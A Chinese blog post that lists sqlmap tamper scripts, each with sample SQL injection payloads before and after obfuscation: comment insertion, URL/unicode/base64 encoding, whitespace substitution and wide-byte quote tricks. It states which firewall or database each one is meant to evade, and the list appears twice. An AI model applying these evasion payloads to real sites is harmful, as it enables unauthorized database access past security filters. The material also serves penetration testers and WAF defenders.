使用sqlmap中tamper脚本绕过waf

最新推荐文章于 2025-02-24 12:38:20 发布
最新推荐文章于 2025-02-24 12:38:20 发布
阅读量1.7k 收藏 1
点赞数 1
分类专栏： 工具使用

0x00 背景

sqlmap中的tamper脚本来对目标进行更高效的攻击。

由于乌云知识库少了sqlmap-tamper 收集一下，方便学习。 根据sqlmap中的tamper脚本可以学习过绕过一些技巧。 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本。 小学生毕业的我，着能偷偷说一下多做一些收集对吸收知识很快。

0x01 start

脚本名：apostrophemask.py

作用：用utf8代替引号

1
Example: ( "1 AND '1'='1" ) '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all

脚本名：equaltolike.py

作用：like 代替等号

1
2
3
4
5
Example:
 
*   Input: SELECT * FROM users WHERE id=1
 
*   Output : SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三：http://wooyun.org/bugs/wooyun-2010-072489

脚本名：space2dash.py

作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）

1
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一：http://wooyun.org/bugs/wooyun-2010-062878

脚本名：greatest.py

作用：绕过过滤’>’ ,用GREATEST替换大于号。

1
Example: ( '1 AND A > B' ) '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名：space2hash.py

作用：空格替换为#号 随机字符串 以及换行符

1
2
3
4
Example:
 
*   Input: 1 AND 9227=9227
*   Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

参考:法克的一篇文章

脚本名：apostrophenullencode.py

作用：绕过过滤双引号，替换字符和双引号。

1
Example: tamper( "1 AND '1'='1" ) '1 AND %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名：halfversionedmorekeywords.py

作用：当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

1
2
3
Example:
 
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

脚本名：space2morehash.py

作用：空格替换为 #号 以及更多随机字符串 换行符

1
2
3
4
5
Example:
 
* Input: 1 AND 9227=9227
 
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

脚本名：appendnullbyte.py

作用：在有效负荷结束位置加载零字节字符编码

1
Example: ( '1 AND 1=1' ) '1 AND 1=1%00'

Requirement:

  • Microsoft Access

脚本名：ifnull2ifisnull.py

作用：绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

1
2
3
Example:
 
( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

脚本名：space2mssqlblank.py(mssql)

作用：空格替换为其它空符号

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:

案例一: wooyun.org/bugs/wooyun-2010-062878

脚本名：base64encode.py

作用：用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

脚本名：space2mssqlhash.py

作用：替换空格

1
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

脚本名：modsecurityversioned.py

作用：过滤空格，包含完整的查询版本注释

1
Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

脚本名：space2mysqlblank.py

作用：空格替换其它空白符号(mysql)

1
2
3
4
5
Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT %0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

脚本名：between.py

作用：用between替换大于号（>）

1
Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

脚本名：space2mysqldash.py

作用：替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）

注：之前有个mssql的 这个是mysql的

1
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

脚本名：multiplespaces.py

作用：围绕SQL关键字添加多个空格

1
Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

脚本名：space2plus.py

作用：用+替换空格

1
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users' Tested against: all

脚本名：bluecoat.py

作用：代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

1
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

脚本名：nonrecursivereplacement.py

双重查询语句。取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

1
Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

脚本名：space2randomblank.py

作用：代替空格字符（“”）从一个随机的空白字符可选字符的有效集

1
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

脚本名：sp_password.py

作用：追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

1
Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

脚本名：chardoubleencode.py

作用: 双url编码(不处理以编码的)

1
2
3
4
5
Example:
 
* Input: SELECT FIELD FROM %20TABLE
 
* Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

脚本名：unionalltounion.py

作用：替换UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

脚本名：charencode.py

作用：url编码

1
2
3
4
5
Example:
 
*   Input: SELECT FIELD FROM %20TABLE
 
*   Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名：randomcase.py

作用：随机大小写 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

脚本名：unmagicquotes.py

作用：宽字符绕过 GPC addslashes

1
2
3
4
5
Example:
 
* Input: 1′ AND 1=1
 
* Output : 1%bf%27 AND 1=1–%20

脚本名：randomcomments.py

作用：用/**/分割sql关键字

1
2
3
Example:
 
‘ INSERT ’ becomes ‘ IN //S//ERT’

脚本名：charunicodeencode.py

作用：字符串 unicode 编码

1
2
3
4
5
Example:
 
* Input: SELECT FIELD%20FROM TABLE
 
* Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

脚本名：securesphere.py

作用：追加特制的字符串

1
Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"

Tested against: all

脚本名：versionedmorekeywords.py

作用：注释绕过

1
2
3
4
5
Example:
 
* Input: 1 UNION ALL SELECT NULL , NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
 
* Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

脚本名：space2comment.py

作用：Replaces space character (‘ ‘) with comments ‘/**/’

1
2
3
4
5
Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT //id// FROM /**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

脚本名：halfversionedmorekeywords.py

作用：关键字前加注释

1
2
3
4
5
Example:
 
* Input: value’ UNION ALL SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL , NULL # AND ‘QDWa’= 'QDWa
 
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

收集于: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html


----------------------------------------------------------------------------------------------------------------------------------------------------------------



—

sqlmap tamper 脚本整理
可一次使用多个脚本，中间用逗号隔开。


apostrophemask.py
用utf8代替引号
Example:
("1 AND '1'='1")    
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against:
all       
—————————————————————————————
equaltolike.py
like 代替等号
Example:
* Input: SELECT * FROM users WHERE id=1
* Output: SELECT * FROM users WHERE id LIKE 1

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
—————————————————————————————
space2dash.py
绕过过滤‘=’ 替换空格字符（''），（' - '）后跟一个破折号注释，一个随机字符串和一个新行（'\ n'）
Example:
('1 AND 9227=9227') 
'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against:
* MSSQL
* SQLite
—————————————————————————————
greatest.py
绕过过滤'>' ,用GREATEST替换大于号。
Example:
('1 AND A > B')
'1 AND GREATEST(A,B+1)=A'

Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
space2hash.py
空格替换为#号 随机字符串 以及换行符

Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)

Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:
* MySQL

Tested against:
* MySQL 4.0, 5.0
——————————————————
apostrophenullencode.py  
绕过过滤双引号，替换字符和双引号。
Replaces apostrophe character with its illegal double unicode counterpart
Example:
tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'

Tested against:
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
——————————————————
halfversionedmorekeywords.py
当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论
Example:
("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:
* MySQL < 5.1
Tested against:
* MySQL 4.0.18, 5.0.22
———————————————–
space2morehash.py
空格替换为 #号 以及更多随机字符串 换行符
Replaces space character (‘ ‘) with a pound character (‘#’) followed by
a random string and a new line (‘\n’)

Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:
* MySQL >= 5.1.13

Tested against:
* MySQL 5.1.41

——————————————
appendnullbyte.py   
在有效负荷结束位置加载零字节字符编码 
Example:
('1 AND 1=1')
'1 AND 1=1%00'
Requirement:
* Microsoft Access
——————————————
ifnull2ifisnull.py
绕过对 IFNULL 过滤。
替换类似'IFNULL(A, B)'为'IF(ISNULL(A), B, A)' 
Example:
('IFNULL(1, 2)')
'IF(ISNULL(1),2,1)'
Requirement:
* MySQL
* SQLite (possibly)
* SAP MaxDB (possibly)

Tested against:
* MySQL 5.0 and 5.5
——————————————
space2mssqlblank.py(mssql)
空格替换为其它空符号

Example:
* Input: SELECT id FROM users
* Output: SELECT%08id%02FROM%0Fusers

Requirement:
* Microsoft SQL Server

Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005

# ASCII table:
#   SOH     01      start of heading
#   STX     02      start of text
#   ETX     03      end of text
#   EOT     04      end of transmission
#   ENQ     05      enquiry
#   ACK     06      acknowledge
#   BEL     07      bell
#   BS      08      backspace
#   TAB     09      horizontal tab
#   LF      0A      new line
#   VT      0B      vertical TAB
#   FF      0C      new page
#   CR      0D      carriage return
#   SO      0E      shift out
#   SI      0F      shift in
————————————————-
base64encode.py 
用base64编码替换
Example:
("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
Requirement:
all
————————————————-
space2mssqlhash.py
替换空格
Example:
('1 AND 9227=9227')
'1%23%0AAND%23%0A9227=9227'

Requirement:
* MSSQL
* MySQL
————————————————-
modsecurityversioned.py
然过过滤空格，包含完整的查询版本注释
Example:
('1 AND 2>1--')
'1 /*!30874AND 2>1*/--'
Requirement:
* MySQL

Tested against:
* MySQL 5.0
————————————————-
space2mysqlblank.py
空格替换其它空白符号(mysql)
Replaces space character (‘ ‘) with a random blank character from a
valid set of alternate characters

Example:
* Input: SELECT id FROM users
* Output: SELECT%0Bid%0BFROM%A0users

Requirement:
* MySQL

Tested against:
* MySQL 5.1

#   TAB     09      horizontal TAB
#   LF      0A      new line
#   FF      0C      new page
#   CR      0D      carriage return
#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)
#   -       A0      -                   (MySQL only)

———————————————————————————-
between.py
用between替换大于号（>）
Example:
('1 AND A > B--')
'1 AND A NOT BETWEEN 0 AND B--'
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
———————————————————————————-
modsecurityzeroversioned.py
包含了完整的查询与零版本注释
Example:
('1 AND 2>1--')
'1 /*!00000AND 2>1*/--'
Requirement:
* MySQL

Tested against:
* MySQL 5.0
———————————————————————————-
space2mysqldash.py
替换空格字符（''）（' - '）后跟一个破折号注释一个新行（'\ n'）
Example:
('1 AND 9227=9227')
'1--%0AAND--%0A9227=9227'
Requirement:
* MySQL
* MSSQL
———————————————————————————-
multiplespaces.py  
围绕SQL关键字添加多个空格
Example:
('1 UNION SELECT foobar')
'1    UNION     SELECT   foobar'
Tested against:
all
———————————————————————————-
space2plus.py
用+替换空格
Example:
('SELECT id FROM users')
'SELECT+id+FROM+users'
Tested against:
all
———————————————————————————-
bluecoat.py
代替空格字符后与一个有效的随机空白字符的SQL语句。
然后替换=为like
Example:
('SELECT id FROM users where id = 1')
'SELECT%09id FROM users where id LIKE 1'
Tested against:
* MySQL 5.1, SGOS
———————————————————————————-
nonrecursivereplacement.py 
双重查询语句
Replaces predefined SQL keywords with representations
suitable for replacement (e.g. .replace("SELECT", "")) filters
取代predefined SQL关键字with表示
suitable for替代（例如  .replace（“SELECT”、"")） filters
Example:
('1 UNION SELECT 2--')
'1 UNIOUNIONN SELESELECTCT 2--'
Tested against:
all
———————————————————————————-
space2randomblank.py
代替空格字符（“”）从一个随机的空白字符可选字符的有效集
Example:
('SELECT id FROM users')
'SELECT%0Did%0DFROM%0Ausers'
Tested against:
all
———————————————————————————
percentage.py
asp允许每个字符前面添加一个%号

Adds a percentage sign (‘%’) infront of each character

Example:
* Input: SELECT FIELD FROM TABLE
* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:
* ASP

Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
———————————————————————————               
sp_password.py
追加sp_password'从DBMS日志的自动模糊处理的有效载荷的末尾
Example:
('1 AND 9227=9227-- ')
'1 AND 9227=9227-- sp_password'
Requirement:
* MSSQL
———————————————————————————               
chardoubleencode.py 双url编码(不处理以编码的)

Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
———————————————————————————               
unionalltounion.py
替换UNION ALL SELECT UNION SELECT
Example:
('-1 UNION ALL SELECT')
'-1 UNION SELECT'
Requirement:
all
——————————————————————————-
charencode.py
url编码

Example:
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass very weak web application firewalls that do not
url-decode the request before processing it through their ruleset
* The web server will anyway pass the url-decoded version behind,
hence it should work against any DBMS
————————————————————
randomcase.py 随机大小写
Replaces each keyword character with random case value

Example:
* Input: INSERT
* Output: InsERt

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0
———————————————————————-
unmagicquotes.py 宽字符绕过 GPC  addslashes

Replaces quote character (‘) with a multi-byte combo %bf%27 together with
generic comment at the end (to make it work)

Example:
* Input: 1′ AND 1=1
* Output: 1%bf%27 AND 1=1–%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
——————————————————————————–
randomcomments.py
用/**/分割sql关键字
Add random comments to SQL keywords
Example: ‘INSERT’ becomes ‘IN//S//ERT’
————————————————————————
versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:
* MySQL
—————————————————————————-
charunicodeencode.py
字符串 unicode 编码

Example:
* Input: SELECT FIELD%20FROM TABLE
* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:
* ASP
* ASP.NET

Tested against:
* Microsoft SQL Server 2000
* Microsoft SQL Server 2005
* MySQL 5.1.56
* PostgreSQL 9.0.3

Notes:
* Useful to bypass weak web application firewalls that do not
unicode url-decode the request before processing it through their
ruleset   
—————————————————————————-
securesphere.py    
追加特制的字符串
Example:
('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
Tested against:
all
—————————————————————————-         
versionedmorekeywords.py 注释绕过
Encloses each keyword with versioned MySQL comment

Example:
* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:
* MySQL >= 5.1.13
—————————————————————————-         
space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

Example:
* Input: SELECT id FROM users
* Output: SELECT//id//FROM/**/users

Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
* Oracle 10g
* PostgreSQL 8.3, 8.4, 9.0

Notes:
* Useful to bypass weak and bespoke web application firewalls
—————————————————————————-         
关键字前加注释
halfversionedmorekeywords.py
Example:
* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa

Requirement:
* MySQL < 5.1

Tested against:
* MySQL 4.0.18, 5.0.22


sqlmap tamper脚本编写
m0_56578216的博客
09-22 638
SQLMap 是一款SQL注入神器，可以通过tamper 对注入payload 进行编码和变形，以达到绕过某些限制的目的。但是有些时候，SQLMap 自带的Tamper 脚本并不是特别好用，需要根据实际情况定制Tamper 脚本。sqlmap的编写语言也是python，tamper脚本能增强sqlmap的功能，达到绕过检测的目的。
sqlmap之tamper脚本
L1ni01
11-14 4162
sqlmap之tamper脚本 进行注入时，往往会遇到服务端主机装有 WAF（Web Application Firewall）对 Payload 进行过滤的情况，这使得注入攻击无法成功实施。但 WAF 往往是通过规则对攻击的 Payload 进行检测然后过滤，只要我们能绕过 WAF 的检测规则就能完成攻击。那么绕过的方法一般有哪些呢？我们可以透过 SQLMAP 中的绕过技术学习一二。 SQLMAP 中有一个 Tamper 模块专为绕过 WAF 制定特殊的 Payload，–-tamper选项可以使用加载模
sqlmap 使用tamper脚本绕过WAF
xf3401837266的博客
05-22 1882
sqlmap 使用tamper脚本绕过WAF
定制sqlmap tamper脚本
arthur2612的博客
01-07 264
前言 渗透测试过程中遇到注入点常常丢到sqlmap中进行测试，假如网站有waf，sqlmap便无法直接注入了。 测试 在测试某个项目的过程中，一个页面的aid参数，习惯性的提交 and 1=1发现直接403了。 测试了其他的一些参数，发现过滤了大部分的注入命令，但是可以利用mysql的注释方法进行绕过，例如网站会拦截sleep()函数，可以利用/!50000sleep(5)/绕过拦截，接...
【SQLI】sqlmap Tamper 脚本分类总结
最新发布
D-river博客
02-24 854
sqlmap Tamper 脚本的完整分类总结，按绕过技术类型和功能划分为更细致的类别.
SQLMap的Tamper脚本
m0_62207482的博客
01-31 3627
SQLMap是一款用来检测与利用SQL注入漏洞的免费 开源工具，不仅可以实现SQL注入漏洞的检测与利用的自动化处理，而且其自带 的Tamper脚本可以帮助我们绕过IDS/WAF的检测。虽然SQLMap提供了这么多的Tamper脚本，但是在实际使用的过程中，网站 的安全防护并没有那么简单，可能过滤了许多敏感的字符以及相关的函数。这个 时候就需要我们针对目标的防护体系手动构建相应的Tamper脚本。Tamper脚本的构建非常简单，其实渗透测试中真正的难点在于如何针对目标 网站的防护找出对应的绕过方法。
sqlmap tamper脚本_如何使用SQLMAP绕过WAF
weixin_39787057的博客
11-26 509
如何使用SQLMAP绕过WAFhttp://www.freebuf.com/articles/1000.htmlWAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它，许多公司甚至已经不在意web应用的漏洞。遗憾的是，并不是所有的waf都是不可绕过的！本文将向大家讲述，如何使用注入神器SQLMap绕过WAFs/IDSs。svn下载最新版本的sqlmapsvn checko...
【sql注入-WAF绕过】编写sqlmap的tamper进行sql注入
06-29 6690
【特征】特殊符号+十六进制格式
SQLMap tamper脚本：绕过WAF与渗透测试指南
"SQLMap之Tamper文档详细介绍了如何使用SQLMap的tamper脚本来绕过Web应用程序的敏感字符过滤和WAF规则，以便进行渗透测试。文档涵盖了tamper脚本的作用、用法以及针对不同数据库类型的tamper脚本选择。" 在网络安全...
sqlmap-tamper脚本分类
09-22
web渗透，sqlmap的脚本分类。渗透
实战sqlmap绕过WAF
zkaqlaoniao的博客
10-26 4151
前言 随着最近几年安全行业的兴起，市场关注度的不断提升，安全防护的软件也在不断提升,不在是那个随便找一个站就能马上发现漏洞了，没有以前那么多所谓的“靶场”了，在这次的实战中遇到的SQL注入与其他的有点不一样，需要考虑的东西很多，写得不好的地方师傅们勿喷。 实战演示 通过前期的信息收集发现存在注入的页面如下： 直接使用sqlmap跑发现出现如下错误： python2 sqlmap.py -u "http://xxxx?&daxxtae=null&parame=xxxxx..
sqlmap绕过过滤的 tamper 脚本分类汇总
10-19
sqlmap绕过过滤的 tamper 脚本分类汇总，包括所有的数据库的过来脚本汇总
WEB漏洞-SQL注入-利用SQLMAP工具绕过WAF
ran的博客
01-25 3634
此时可以在SQLMAP的命令里加入“--random-agent”参数，此参数的作用是使User-Agent后面的值按照其字典随机出现。因此就需要我们自己来写脚本，在自己写脚本的过程中可以参考“tamper”下的脚本，可以对里面的脚本进行修改。在漏洞防护规则里可以看到包含一种名为“工具拦截”的检测类型，当其发现是使用sqlmap工具时，就会进行拦截。但是这些默认的脚本必然是不能绕过我们现在常见的一些WAF的（可以绕过一些比赛的拦截规则，如CTF比赛等）。可以看到此时网站可以正常访问，可以进行正常注入。
渗透测试-sqlmap绕过WAF脚本编写
lza20001103的博客
04-21 4727
渗透测试-sqlmap绕过WAF脚本编写
sqlmap绕过waf的脚本介绍（tamper脚本介绍）
Firebasky的博客
05-07 1193
sqlmap里面有一个参数–tamper= 而在sqlmap的安装目录下有一个tamper文件夹，里面全部是python脚本，都是用来绕过waf的脚本的 apostrophemask.py 适用数据库：ALL 作用：将引号替换为utf-8，用于过滤单引号 使用脚本前：tamper(“1 AND ‘1’='1”) 使用脚本后：1 AND %EF%BC%871%EF%BC%87=%EF%BC%87...
定制SQLmap和WAF绕过
weixin_58954236的博客
09-23 1515
以sqli-lab第26关为例输入?id=1’ --+，报错字符型注入考虑闭合问题，输入?id=1’ and '1，但是回显中and和空格消失了，可知and和空格被过滤了因为and和or被过滤考虑使用双写绕过手段，空格使用其他字符进行代替例如%0a或%a0使用SQLmap扫描，结果无SQL注入漏洞可是明明手动测试存在SQL注入漏洞但是SQLmap竟然没有扫描出来，是因为SQLmap在进行注入的时候没有合适的绕过手法，被过滤掉了，那么就需要我们对SQLmap发送的payload进行编码。
19、SQL注入之SQLMAP绕过WAF
山兔的博客
08-14 3589
搜索引擎会对我们的网站进行爬取，因为它的收录就是对我们的网站采取爬虫技术，而且速度很快，也是符合拦截规则的，但是WAF却不会去拦截，因为WAF会去识别你这个是用户访问，还是搜索引擎爬取，所以我们可以通过数据包的伪造，伪造成搜索引擎，对目标的网站进行访问，这个时候waf肯定会放行，因为它觉得这个是搜索引擎的访问，是正常的、官方的一种收录行为，不会是用户的攻击行为。一个是获取IP是不是通过脚本去获取，如果是的话，可以去伪造IP，通过tcp/udp网络层方式获取的，那是没有办法伪造的。
sqlmap tamter
weixin_34194379的博客
10-25 152
支持的数据库 编号 脚本名称 作用 实现方式 all 1 apostrophemask.py 用utf8代替引号 ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'  2 base64encode.py  用base64编码替换 ("1' AND SLEEP(5)#")'MSc...
sqlmap的高级使用-tamper脚本使用、os-shell原理等
weixin_46626737的博客
07-11 802
（10）concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例。（5）between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”，“BETWEEN # AND #”替换等于号“=（14）ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
